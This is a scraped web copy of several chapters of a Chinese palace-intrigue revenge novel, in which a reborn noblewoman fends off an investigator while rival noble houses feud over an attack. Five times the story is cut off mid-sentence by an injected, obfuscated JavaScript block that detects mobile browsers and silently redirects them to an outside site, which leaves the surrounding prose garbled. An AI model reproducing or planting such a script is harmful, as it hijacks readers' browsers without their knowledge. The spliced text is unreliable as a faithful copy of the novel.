起身时,他的衣袖将茶盏掀翻,落在了地上,发出一声脆响。 晏逐星见他逼近,下意识地往后仰。 “你的母亲都被害得瘫痪了,我还以为你这个当女儿的会要求本官早日彻查真凶呢。”裴明镜的手掌装若无意地擦过轮椅扶手雕花,黄花梨木轮猛地向后一滑。 “小姐!”双鲤瞧见这一幕,冲了过来,不料绣鞋却踩到裴明镜早先弄翻在地的杯盖,一瞬间滑倒在地,摔了个狗啃泥。 轮椅再往后滑就是门槛,若是被卡住后翻,她势必要被摔飞出去。 晏逐星想要跳下轮椅。 但瞧见裴明镜盯着她双腿的神情,她猛地反应过来,真正的试探在这! 她双手死死抓住了轮椅扶手,露出了惊慌失措的表情,惊叫道:“裴大人,救命。” 就在轮椅后仰的刹那,裴明镜左手擒住了椅背横梁。 他俯身时官帽上的锦缎系带突然扫过晏逐星鼻尖。 他一边说着“大小姐当心。”一边将轮椅重新固定好。 失控的感觉消散,晏逐星在心底长长地舒了一口气。 她咬着唇,恨不得起身踹裴明镜一脚。 明明是他故意推她轮椅的,现在竟然还演上英雄救美了。 但她不能拆穿他。 她只是用惊魂未定的表情看着他:“多谢裴大人出手相救。” 双鲤急急忙忙地爬起来,跑到晏逐星面前仔细检查她有没有受伤,开口的瞬间眼泪夺眶而出:“小姐,您没事吧?吓死奴婢了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623081|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>晏逐星冲她摇了摇头。 一旁的裴明镜若有所思地盯着她的腿。 “本官记得,大小姐只伤了一只腿吧。那么久了,差不多能站起来了吧。先前情况这般危急,为何不直接起身?” 晏逐星眼里浮起一层水汽,随后不甘心地砸了一下自己的腿。 “轮椅坐久了,我竟忘了,还有一只腿是能用的。” 她将掌心按在双鲤的肩头,又气又恼道:“今日起,我便不坐这轮椅了,你扶着本小姐回去。我才不当废人呢。” 双鲤赶忙用身子当做拐棍,将她支撑了起来。 “裴大人,告辞。”晏逐星不想跟他继续试探来试探去了,直接转身一瘸一拐地跟着双鲤往玉澜院走。 裴明镜牢牢地盯着她的腿,直到她的身影消失在视线当中,方才离开侯府。 出了侯府,跟着他的下属郑晗忍不住发问:“大人,您当真觉得晏大小姐是昨夜刺杀谢世孙和晏二少爷的真凶?” “不知。”裴明镜摇了摇头。 他的直觉告诉他这事和晏逐星脱不了干系。 但没有证据的事情,他不能信口雌黄。 “属下觉得不可能吧。先不说二少爷是她的兄长,就她那双腿,走路都不利索,怎么可能跑到画舫上**。”郑晗分析了起来。 “闲话到此为止。现在去昭瑞亲王府。”裴明镜没有继续谈论晏逐星的话题。 郑晗赶忙闭上了嘴,跟着他一块去王府,继续调查。 此事事关亲王的宝贝孙儿,那可马虎不得。 * 双鲤搀扶着晏逐星回到了玉澜院。 九栀和衔蝉赶忙上前帮忙,把她扶到了床榻上。 “九栀留下给我捏捏腿,衔蝉你好好安慰安慰那丫头,给她吓坏了。”晏逐星找了个借口,将衔蝉和双鲤支走。 屋内只剩下她和九栀。 九栀紧张地询问:“小姐,如何了?可是姓裴的发现什么证据了?” 第74章 无条件帮她 晏逐星摇了摇头。 “他没找到证据,不然今日过来就不是这样试探我,而是直接将我捉拿归案了。” 听到这话,九栀放下心来:“那就好。” 晏逐星眉头依旧紧锁着:“你确定我们没有遗漏任何东西吧?你打晕海棠姑娘时,她有没有看清你的脸?” 九栀仔细回想,随后摇头:“没有落下东西。衣裳也是海棠姑娘要争花魁时穿的,在水里时我几乎都脱光了,没把东西带到岸上。” 晏逐星沉思片刻后,开口道:“嗯。总而言之,咱们只要咬死没出过院子就好。人证物证都没有的话,裴明镜也不能把我们怎么样。” “好。”九栀点头,随后又看向了门外。 “衔蝉那边?” 晏逐星明白她的意思,皱紧的眉头舒展开:“放心吧,她什么都不会说的。” 衔蝉今日回王府,定然将她昨夜出过院子的事情告诉了谢翊宁。 若谢翊宁要拆穿她,现在昭瑞亲王府的人就该找上门兴师问罪了。 而谢翊宁却把衔蝉的**契交给了她,还让衔蝉转告她,若是遇上了难事可以去王府求助。 摆明了就打算帮她把这事遮掩过去。 不过就算谢翊宁不帮她,她也留好了后招祸水东引。 好在让她试探成功了。 谢翊宁对她的宽容程度远比她想的还要深。 听到她这么说,九栀也就不担心了,专心替她捏腿。 “你也累了,休息一会吧,把衔蝉叫来,我有话要问她。”晏逐星想来想去,总觉得只有那一箭的救命之恩,谢翊宁不该为她做到这个地步。 说到底,他和谢锦程都是皇家人,他为何会无条件地帮她。 没过一会儿,衔蝉就来了。 “小姐寻奴婢何事?”衔蝉规规矩矩地站在一旁。 “今日你回王府,王府有什么特别的事情吗?或者说,王爷在见你之前,做了什么?”晏逐星开门见山询问。 衔蝉不敢迟疑。 毕竟她现在已经是大小姐的人了。 她赶忙道:“没什么特别的。不过,国师大人出关回宫了,将王爷请进了宫里。” “国师出关了?”晏逐星沉吟不语。 她仔细回想上辈子的事情,似乎直到她战死在沙场上,都没听说过国师出关一事。 如今他忽然出关,是为了什么? 当初就是他断言的谢翊宁活不过二十岁。 想到这,晏逐星心下一动,莫不是国师找到了给谢翊宁续命的法子? 又或者是国师知道了他重生的事情? 那国师会不会也知道她重生的事情了? 晏逐星好不容易放下的心又悬了起来。 她并不想让别人知道她重生的事情。 见她迟迟不语,衔蝉忍不住开口:“小姐,是遇上什么难事了吗,可要奴婢去找王爷?” “不必。”晏逐星果断拒绝。 “我没遇上什么难事。” 她抬眸瞥了衔蝉一眼:“若是裴大人找你问起昨夜的事。” 衔蝉赶忙道:“昨夜小姐一直在院中休息,我还替您沐发了。您累了,早早就歇下了。” “嗯。就这么说吧。你找衔蝉和九栀她们说会话去吧。”晏逐星让她也离开了。 她想自己一个人静一静。 她闭上眼眸,在脑海里回想着定远侯府这些人的下场。 温如霜瘫痪,晏明月面容已毁,晏明修也瞎了一只眼睛,之后要他们的命,那可就简单多了。 只需让一些人不停地揭开他们的伤疤,刺激他们,让他们自己不想活就好。 也不会脏了她的手。 他们若迟迟不肯**,那她再帮他们一把。 如今仇人只剩定远侯和晏明远了。 这两人该怎么对付,她得仔细谋划谋划。 * 裴明镜离开定远侯府时,跟着他的停云也回了王府。 照夜负责在醉花楼扫尾,他负责盯裴明镜。 毕竟裴明镜惯会抽丝剥茧的,查案时连耗子洞都掏得干干净净。 万一真让他找到什么不利于晏大小姐的证据,那可就麻烦了。 盯着他,还可以抢先一步将证据抢回。 只是他没想到,没看到什么证据,反倒看到裴明镜试探晏大小姐的场景。 “王爷,属下亲眼瞧见了,裴大人想推翻晏大小姐的轮椅,从而套话。”停云绘声绘色地描述着当时的场景。 谢翊宁眉头微蹙:“裴明镜是不是吃饱了撑的,这样刁难一个小姑娘。” 他有些不高兴了。 晏逐星又不是犯人,凭什么审问她。 再说了,问话就问话,吓唬小姑娘做什么。 真是个没风度的东西。 “备马车,本王要去昭瑞王府。”他冷哼一声,披上狐裘准备出门。 停云一愣:“去探望世孙么?” “他也配?”谢翊宁嗤笑一声,当做回答。 停云猛地反应过来。 王爷不会是要去找裴大人算账吧? 他顿时对之前叮嘱他的照夜肃然起敬。 还是照夜看得透啊。 王爷偏爱一个人的时候,是不需要理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629872|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由的。 尤其是那个人还是他的恩人,就更不能受欺负了。 这下,裴大人要遭殃咯。 * “什么,永安王来了?”谢锦程的父亲谢清安大吃一惊。 谢翊宁只有在父亲六十大寿那年来过他们王府,这一回怎么登门了? 难不成是皇上对锦程受伤一事有什么指示? 他想不明白,赶紧去告知父王。 “这活祖宗来做什么?”昭瑞亲王皱起了眉头,也不清楚谢翊宁此行的目的究竟是什么。 那小子从小受宠,在整个京城几乎可以说是横着走。 就算他是当今皇上唯一在世的伯父,对着那小子他也不敢摆长辈的谱。 毕竟谁都知道他活不过弱冠之年,皇帝偏宠他至极,活脱脱一个易碎的琉璃祖宗。 当年太后刚在皇后请安时挑刺,他立马捂着胸口倒下,嚷嚷着被太后吓着了好像活不了了,惊得太医打翻了药箱。 自那之后,太后稍微针对皇后一点,他就往地上躺,硬生生逼得太后十几年都没去过未央宫。 “不知。”谢清安摇了摇头,也很疑惑。 “罢了,请他进来吧,省得待会晕在王府门口赖上咱家。”昭瑞亲王不情不愿地让人把他请进来。 谢翊宁刚被请进府,裴明镜也问完话打算离开。 二人撞见,裴明镜便依照规矩给谢翊宁行礼:“微臣参见永安王。” “哟,可真是巧了,竟在王府遇见了裴大人。”谢翊宁笑眯眯地看着他。 裴明镜浅浅一笑,拱手道别就要离开:“下官还有要事在身,先回京兆府了。” “本王也要去京兆府,不如本王送你一程?”谢翊宁还没踏进王府正厅,就调了个头,走到了裴明镜身边。 “下官有自己的马车,就不劳烦王爷了。”裴明镜客气拒绝。 没想到,话音刚落,车夫就急匆匆地跑了过来。 “大人,车轮不知怎的坏了,恐不能送大人去京兆府了。” 裴明镜收起了笑意,看向谢翊宁,语气淡漠:“看来王爷今日一定要下官去京兆府了?” “那倒也不是。你若不想坐本王的马车,本王必不会强人所难。”谢翊宁仿佛没听出他话中带刺,眉梢一扬,春水般的笑意在眼底荡开,让人晃花了眼。 他慢悠悠地继续开口:“只是本王一片好意被大人辜负,难免会有些伤心。” 裴明镜听完这话,改了主意。 他想知道谢翊宁为什么非要和他一块去京兆府。 “那就有劳王爷了。” 第75章 故意误导他 “就这么走了?”谢清安一脸懵。 昭瑞亲王看着他离去的背影,反应了过来。 “他是来找裴明镜的。” “他找裴明镜做什么?”谢清安想不明白。 “管他做什么,横竖影响不到咱们王府。”昭瑞亲王板着脸看着儿子。 “当务之急,是抓到伤害锦程的凶手。还有,定远侯府那边,必须要给咱们一个说法。若不是他家老二招惹了风流债,又怎么会害得锦程出事。” 谢清安一时有些心虚。 若是说风流债,恐怕还是儿子欠的更多。 定远侯府的次子,好像没听说过有什么沾花惹草的习惯。 不过儿子做的那些事,他都替他瞒着了,此事可万万不能让父亲知道。 于是他点了点头:“父王放心,儿子明日就去找他们要说法!” “锦程那孩子,你多看着点,别让他想不开了。”昭瑞亲王提起小孙子,叹了一口气。 一个大男人变成了废人,这样的打击,一般人都遭受不住。 “若是让我抓到伤害锦程的凶手,我定要将她扒皮抽筋,**万段!”谢清安想到儿子就这样绝了后,气得咬牙切齿。 锦程还未成婚,就被毁了,以后可怎么办呀。 * 裴明镜上了谢翊宁的马车。 上车后,见谢翊宁没有和他说话的意思,他便一言不发地闭目养神。 马车平稳地行驶着。 走到半路,谢翊宁忽然开口:“停云,你怎么驾的车,这么慢,若是耽误了裴大人的要事可怎么办?” “属下知道了。”停云挥着马鞭,忽然加速。 裴明镜毫无防备,一个不留神身子便往右侧倾倒。他慌忙扑向身旁的长凳,还没抓稳,谁知车辕又猛地一震,马车又疯了一样往前冲。 车门甩开,他像断了线的纸鸢一般直往车外栽,冷风灌进领口,他半个身子都悬空在外。 就在他以为自己要摔下去时,谢翊宁甩出一根长鞭勾住了他的腰身,将他整个人拽回了马车。 “裴大人,当心啊。” 他话音落下,马车稳稳停住。 裴明镜后腰撞上马车上的小几,疼得他微微皱眉。 先前那场“意外”,让他头顶的官帽歪斜着卡住鬓角,看着有些狼狈。 而谢翊宁仍端坐在织锦软垫间,衣袍平整地压着暗纹厢壁,似乎不受半点影响。 裴明镜眸色微冷。 他一瞬间就想到了先前在定远侯府时,他就是这么吓唬晏逐星的。 永安王这一回莫不是有意而为之? 他和晏逐星,到底是什么关系。 谢翊宁不在乎他打量的神色,看向停云,淡淡道:“你怎么驾的车,还不向裴大人请罪。” 停云连躬身行礼:“这马不知道吃错了什么东西,忽然犯了病。还请王爷和裴大人宽恕小的。” “本官受了伤不要紧,若是王爷受伤了,那可就麻烦了。为了王爷的安全着想,下官以为王爷还是换个马夫吧。”裴明镜跳下马车。 “多谢裴大人提醒,不过本王觉得他挺好的,不需要换。”谢翊宁脸上的笑容比起先前更灿烂了。 笑容明晃晃写着“我就是故意的,你能把我怎么着”。 裴明镜垂眸,行礼:“下官还有要务在身,先告辞了。” “裴大人慢~走~啊~”谢翊宁挥手跟他告别。 看着裴明镜消失的身影,停云忍不住问道:“王爷,就这样结束了吗?” “不然呢。”谢翊宁从马车里伸出扇子,狠狠敲了一下他的脑袋。 “这叫以其人之道还治其人之身。裴明镜又没干什么伤天害理的事情,吓唬吓唬得了。省得太后找我麻烦。” 停云:? 合着王爷出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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面前的烛火突然爆了个灯花,惊得他一怔,脑海里的迷雾像是被风吹散了。 他盯着摇曳的烛火,脑海闪过一个大胆的猜测。 第76章 若是心仪她 若是谢翊宁心仪晏逐星,认为当初是侯府众人欺辱了她,因而痛下**,博美人一笑。 这样,好像一切就说得通了。 晏逐星不必亲自动手,自有人替她做完这一切。 他又想起上回定远侯夫人坠下马车时,谢翊宁到得很快,还专程带上了季太医。 还有上上回烈国公世子被下药,晏逐星被围困在树上时,好像也是谢翊宁先他一步抵达了侯府。 后来还给了晏逐星一个王府出来的侍女当做护身符,让定远侯府的人不敢再责备她。 他能想起来的就是这些。 可这两人怎么看都毫无交集,谢翊宁究竟为何会钟情于晏逐星? “你替我查查永安王和定远侯府大小姐,这两人私下可曾秘有过什么接触?”裴明镜叫来了下属。 郑晗一听这话慌忙拱手作揖:“大人,没这个必要吧。” 去查永安王,他又不是活腻了。 裴明镜眉头皱起,淡淡道:“本官怀疑他和晏大小姐与醉花楼画舫刺杀一事有关,查案需要,你无需惊慌。” “大人,您这猜得也太离谱了吧。”郑晗露出了一副无奈的模样。 瞥见裴明镜凌厉的眼神,他立刻站直了身子,不敢再嬉皮笑脸。 他小心翼翼道:“永安王殿下何等尊贵。他若真想伤人,岂会用这种偷偷摸摸的手段,肯定直接把人给砍了。” “还有那位侯府大小姐,腿受了伤,走路都歪七扭八的,别说**了,我看她杀鸡都杀不了吧。” 他说到最后,被裴明镜看得底气不足,声音都变成了嘟囔。 “再说了,待会刑部和大理寺会来人接手此案,咱们没必要多费心思吧。” 裴明镜垂眸不语。 此案涉及皇室宗亲,按理确实该交给刑部和大理寺联合审理,他们京兆府无需过多干涉。 但他总觉得这事透露着古怪,还想要继续查下去。 正思索着,刑部清吏司主事赵琰舟和大理寺左寺正崔执璧一前一后地来了。 赵琰舟上前半步,客客气气道:“裴大人,此案事涉昭瑞亲王府的世孙,下官奉尚书台手谕前来调取案牍。” 崔执璧也从袖中取出朱批黄绫,态度恭敬:“宫中递出口谕,着大理寺督办此案。烦请大人将案卷交给下官带走。” 裴明镜沉默片刻后,还是点头应下:“二位大人既携律令圣意而来,本官自该配合二位行事。郑晗,命人将檀木匣里的案卷抬来,着人随两位大人核验封存。” “多谢裴大人。”两人同时给他行礼,而后跟着郑晗离开。 人走后,裴明镜依旧思索着谢翊宁和晏逐星的关系。 他实在是好奇,晏逐星究竟是用了什么手段,让永安王对她这般维护。 他今日不过在侯府吓了晏逐星一回,他竟然等不到第二日就要替她报复回来。 裴明镜指尖摩挲着桌上的青玉镇纸,唇角微微勾了起来。 “攀、高、枝?有点意思。” 他对晏逐星真是越来越感兴趣了。 初见时,她是侯府里任人欺辱的嫡女,那双湿漉漉的眼睛竟让他难得心软。明知她故意扯自己名头当幌子,却鬼使神差没揭穿。 谁知没过多久,烈国公夫妇忽然要将她认作义女。 更让他没想到的是,素来目中无人的永安王如今竟有意庇护她左右。 是他小瞧了她。 这位大小姐攀高枝的本事,倒真是越来越厉害了。 * “晏明修呢?叫他滚来给小爷赔命!”被废了的谢锦程在屋内嘶声咆哮。 他不敢有大动作,稍一动弹,胯下便传来撕裂般的剧痛。 他悔恨交加。 原本不过是去醉花楼选个花魁,怎料一夜之间竟遭此毒手,命根子都被人废了。 都怪晏明修! 若不是他,自己怎会遭此大劫? 千不该万不该,他就不该叫晏明修一同去那醉花楼。 谢锦程心中的悔意每深一分,那股散不去的邪火便又窜高三尺! 他气得猛地抓起手边矮几上温着的药碗,看也不看,用尽全身力气狠狠砸向对面的雕花屏风。 “哐啷——!” 瓷片伴着滚烫的药汁四散飞溅。 整个屋子瞬间一片狼藉,伺候他的丫鬟们已经吓得眼泪在眼眶里直打转。 他闹了那么一圈,郡王妃郝氏急匆匆地赶了过来。 “锦程,你莫要起身,好好休息才是。”她看着儿子,心如刀绞。 “休息,我都成了废人了,你怎么不让我去棺材里休息。”谢锦程双目猩红,宛若一只受伤的困兽,见到谁都没有一个好脸色,只有无穷无尽的恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634404|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。 郝氏心下酸涩难耐,她哑着嗓子道:“我知道你难受,可……” 话还没说完,谢锦程就将桌上的黄铜烛台砸了过来。 “你知道什么知道,我说了,我要见晏明修,你们不让他来见我,就是逼我**。他不死,就是我死!”谢锦程声嘶力竭地威胁。 他若见不到晏明修,他不甘心。 凭什么只有他受这样的苦。 郝氏见儿子像是疯了一般,根本听不进任何话,惊得退后好几步,赶忙命人将夫君请来。 谢清安也心疼儿子,因而便又派人去定远侯府讨要说法。 让他们必须交出晏明修。 定远侯一看到昭瑞亲王府的人就头疼。 如今真凶尚未查清,不过一天一夜的功夫,昭瑞亲王府便派人来了两趟。 “晏鸿升,他们说要人你就给?你连儿子都护不住,你还是男人么!”温如霜哪儿也不去,就守在儿子的院子里,就怕定远侯将晏明修送走。 “你以为我就舍得把他送出去么!”定远侯两头受气,心里烦得不行。 “可昭瑞亲王乃是当今圣上的伯父,谢锦程又是他唯一的孙儿,废了王府的血脉,岂是几句话就能糊弄过去的。” “我不管什么王爷王府,谁也不准动我的明修。”温如霜将金钗抵在自己的脖颈处。 “你若将儿子交出去,便给我收尸吧。到时候,我兄长定会上奏,参你一个逼死发妻的罪名。” 定远侯被她气得七窍生烟,拂袖便走。 若是真逼**温如霜,温家那边要如何交代? 可昭瑞亲王府那头,又当如何? 两相逼迫之下,他感觉有些喘不上气来。 刚出院门,迎面正撞上匆匆而来的晏逐星。 “父亲。” “你来做什么?回你的玉澜院去,莫在此处添乱!”定远侯眉头紧锁,不耐地挥手驱赶,眉宇间是化不开的疲惫与焦躁。 若让她与温如霜对上,少不得又是一场鸡飞狗跳。 此刻他心烦意乱,哪有心思替她们调停。 晏逐星并未离开,露出了一抹关切的表情:“父亲息怒。女儿见父亲这般忧思劳神,实在于心不忍。” 她微微一顿,继续道:“女儿苦思良久,有一拙计,或可解父亲心头之忧,免去这两难的局面。” 第77章 丢脸丢大了 “哦?说来听听。”定远侯目光沉沉,语气里透着一丝不以为然,显然并未抱多大期望。 “此事母亲出面,或许可有一线转机。”晏逐星斟酌着开口,将温如霜推了出来。 “她?”定远侯眉头紧锁,一时间没反应过来,“她一个瘫在床上的人,能顶什么用?” 晏逐星微微垂首:“父亲明鉴。母亲虽行动不便,但舐犊之情最是深切,由她亲自前往王府致歉请罪正正好。” 她稍作停顿,抬眼观察着定远侯的神色。 见他并未反对,晏逐星继续道:“试想一下,一位为子忧心如焚,不顾残躯艰难前来求情的母亲。此情此景,落在旁人眼中,王府若再行苛责刁难之举,恐怕……” 晏逐星没有说完,但未尽之意已然明了。 定远侯眼前一亮。 在王府大门口,一个当娘的为了救儿子拖着个废掉的身子,被人抬着也要去磕头认错、求他们高抬贵手…… 这得多惨?多可怜?旁边看热闹的人会怎么说? 王府那些人就算心里再恨,面上总得装装样子。 要是对着这么个瘫子还喊打喊杀的,不说文武百官,京城百姓们的唾沫星子都能淹死他们。 定远侯刚想点头,心里又有点打鼓:“这法子会不会反而更得罪昭瑞亲王啊?” “父亲,”晏逐星语气平静,却直击要害,“您先前没把二哥交出去,这梁子就已经结下了。” 这话正戳中了定远侯的心病。 昭瑞亲王那一脉是出了名的记仇,睚眦必报。 他之前三番几次推脱,没有交出晏明修,这仇怨怕是早就种下了。 想来想去,眼下也只有这个法子能试一试了。 先拖住一时是一时,等真凶查出来,事情就好办了。 定远侯松了口气,脸上终于带了点笑。 他伸手拍了拍晏逐星的肩膀:“幸亏还有你在。要没你帮爹爹出主意,爹爹怕是愁得觉都睡不安稳喽。” 晏逐星眼帘低垂,乖巧道:“替父亲分忧,是女儿的本分。” “好孩子!”定远侯满意地点头,随即扬声唤来管家。 “林平,带小姐去库房,让她挑几样合心意的玩意儿,不拘什么,只要星儿喜欢,都行。” “是,侯爷。”管家连忙躬身应下。 晏逐星温顺开口:“多谢父亲。” 看着定远侯离去的背影,晏逐星唇角勾起一抹若有似无的笑意。 温如霜最不愿让人瞧见她如今的狼狈不堪模样,也不知道为了晏明修,心高气傲的她可愿豁出这仅剩的尊严体面,为儿子争一丝活路。 * “你让我去求他们?”温如霜指着自己动弹不得的双腿,脸上写满了荒谬与难以置信。 她如今连挪动半分都要人帮忙,恨不得挖个洞将自己藏起来,隔绝所有窥探怜悯的目光。 定远侯竟还要她拖着这废体去王府抛头露面,摇尾乞怜? “此事你去最为妥当。”定远侯压下心头的不耐,尽量让语气显得诚恳。 “妇人家最是心软,尤其是做母亲的。你亲自去,姿态放低些,哭诉一下明修的处境,郡王妃也是母亲,想必能感同身受,不会过多为难你,更不会再揪着明修不放。” 温如霜闭上眼,胸口剧烈起伏着,**感像冰冷的毒蛇缠绕着她全身,紧紧收紧,几乎让她要喘不过气来。 她想要拒绝,但眼前却浮现出晏明修苍白惊惶的脸。 若是让他去给谢锦程赔罪,按照谢锦程那个性子,恐怕人是竖着进去的,出来的时候就是横着的了。 定远侯见她迟迟不吭声,忍不住开口:“你若不去,就只能让明修去了。” 温如霜听到这话猛地睁开眼,眼中带着熊熊怒火和深不见底的怨恨。 她死死盯着定远侯,从牙缝里挤出一句话:“好。我去。” 听闻定远侯府的人来赔罪。 谢锦程脸上洋溢出亢奋的笑容。 他现在最恨的不是那个找不到踪影的凶手,而是晏明修。 “把晏明修带过来,让他给小爷好好请罪!”谢锦程下了命令。 然而前来通报此事的小厮面露为难,他支支吾吾道:“晏二公子没来,来的是定远侯夫人。” “什么?”谢锦程好不容易压下去的怒火又冒了上来。 “那个死老太婆来做什么?” 他一脚踢飞了床边的小凳。 结果因为幅度太大扯着裆下,包着的纱布瞬间渗出了血,疼得他赶忙用双手捂住了下半身嗷嗷直叫。 小厮赶忙低下头,生怕自己控制不住嘴角上扬会被拖出去打死。 谢锦程顾不得追问为什么来的是温如霜,尖叫了起来:“太医,还不快去给小爷请太医。” 小厮匆匆忙忙地跑了出去请太医。 王府又一次乱了起来。 听闻温如霜来道歉将儿子气得下体又渗血了,郝氏愈发恼怒了。 “他们竟敢阳奉阴违?不是说了让晏明修来给京城赔罪的么。竟然敢戏弄咱们王府,就说锦程病了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634405|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没空见她,让她在外边等着吧。” “是。” 下人得了她的命令,将大门紧闭,把定远侯府来的人晾在了外边。 温如霜坐在轿子里,咬牙切齿。 虽然来之前她就已经想到了可能会被王府的人羞辱,但她万万没想到,对方连门都不让她进。 她一狠心,干脆让两个粗使婆子半抬半架着,把她抬到了王府威严的大门前。 她死死咬着下唇,直到尝到一丝血腥味,才勉强压下那几乎将她吞噬的羞耻。 终于,她抬起满是泪痕的脸,用尽全身力气,朝着那紧闭的朱漆大门,发出了凄厉悲怆的哭喊: “求王爷命人彻查此案,早日抓住那害人的真凶,给世孙一个公道,也……也给我那苦命的儿一条活路啊!” 喊到这里,她像是被巨大的悲痛攫住,气息哽在喉间,整个人剧烈地抽搐起来,引得围观的人群一阵骚动和低呼。 婆子们慌忙扶住她下滑的身体。 温如霜猛地吸了一口气,用更绝望的声音哭嚎道: “我的儿……我的明修……他冤枉啊!他才多大年纪……如今……如今生生被人打瞎了一只眼!成了废人一个!整日生不如死,痛不欲生……呜呜呜呜……老天爷啊,你开开眼吧!” “王爷……您救救我儿吧……” 最后一声哀嚎耗尽了她所有力气,两个婆子再也架不住她,让她整个人瘫软下去,伏在冰冷的石阶上,无助地抽泣了起来。 王府门前,早已不知不觉围拢了一大圈人。 有路过的行人,有邻近的住户,有闻讯赶来看热闹的闲汉,还有定远侯特意雇来的人。 此刻,窃窃私语声四起: “哎哟,造孽啊。这当娘的,都瘫了还来喊冤。” “侯府二公子当真被打瞎了眼?这也太惨了。” “啧啧,看看她那样儿,太可怜了。王府大门紧闭,也太不近人情了。” “就是,好歹让人进去说句话啊。” …… 外边的情况被小厮及时传回了内院,郝氏听完被气了个倒仰。 “她、她怎么敢的?!” 京中哪个高门贵妇会像她这样不要脸,她难道不怕日后被人耻笑么? 还有,她大喊晏明修瞎了,不就是算准了他们不敢把锦程命根子被废的消息嚷嚷出去么。 郝氏被气得连郡王妃的仪态都顾不上了,破口大骂:“**!这个**!” “谁让你把人拦在门外的。” 一声厉呵传来。 第78章 怀有身孕了 郝氏一看,是公公昭瑞亲王。 她赶忙行礼:“父王,是我一时气急,想着给她一些教训,这才……这才……” 看着公公越来越阴沉的脸,她不敢说下去了。 “好歹也是三十多岁的人了,怎么办起事来和十几岁的小丫头一样没分寸。你要磋磨人,也得让她进到王府里来呀,让她在外边闹,你是嫌不够丢人么。”昭瑞亲王一肚子的火。 他没想到定远侯府竟然敢跟他对着干,更没想到儿媳妇是个蠢猪。 “我那时候不是被锦程出血给吓到了么,就,就一时糊涂了。”郝氏红着眼眶替自己辩解。 “我也没想到她那么豁得出去啊……” 说着,眼泪就掉了下来。 嫁到王府那么多年,她还是头一回被公公训斥得这么厉害。 她真是恨死温如霜母子了。 一个瘫子,一个瞎子,竟然让她落到了这么丢人的地步。 她一定不会放过他们的。 “父王,如今也不是训斥她的时候,咱们还是想想该怎么接招吧。定远侯这一招真是够狠的。”谢清安匆匆赶了过来,维护自己的夫人。 郝氏擦掉眼泪,躲到了他身上。 昭瑞亲王没好气地看着儿子:“还能怎么办,赶紧派人去刑部和大理寺,催他们赶紧把真凶给找出来。” 如今温如霜已经昏倒在王府面前被人抬走,他们想挽救都来不及了。 “哦,好。儿子这就去办。”谢清安被父王那铜铃般的眼睛一瞪,立刻就怂了。 * 温如霜在王府门口卖惨的事情传回了定远侯府。 整个侯府上下都知道了这件事。 温如霜回来后,大发了一通脾气,将下人全都撵出了自己的院子,只留了李嬷嬷在身边伺候。 下人们都惶惶不安,而玉澜院却充满了欢声笑语。 “求王爷命人彻查此案,早日抓住那害人的真凶,给世孙一个公道,也给我那苦命的儿一条活路啊!”双鲤在晏逐星面前,活灵活现地模仿起温如霜当时的模样。 演完后,她又兴冲冲道:“小姐您是有所不知,当时有多少人看着夫人。我粗粗数了一番,至少得有四五十个人呢。我要是夫人,这么丢脸的模样被看见了,我都不想活了。” “无妨,之后她还会有更丢脸的时候。脸面这种东西,丢啊丢啊,就该丢习惯了。”晏逐星将手中的笔放下。 这出戏唱完,下一出也该登场了。 “小姐,咱们还要做什么呀?”双鲤眨巴着眼盯着自家小姐。 自打夫人命人将她捆起来威胁小姐后,她就讨厌极了夫人。 她过得越不好,她就越高兴。 “放心,用得着你的时候我会叫你的。现在把九栀叫来。”晏逐星冲她温柔一笑。 “好咧。”双鲤点头应下,一蹦一跳地去把九栀找了过来。 九栀行礼:“大小姐,有什么吩咐?” “把阮寄薇叫过来,时候到了。” “好。”九栀毫不犹豫地执行了她的命令。 当初选人,是她一手操办的。 阮寄薇只认识她这张脸。 “姨娘,大小姐院子里的九栀姐姐来了。” 伺候阮寄薇的小丫鬟桃儿跑进屋通传。 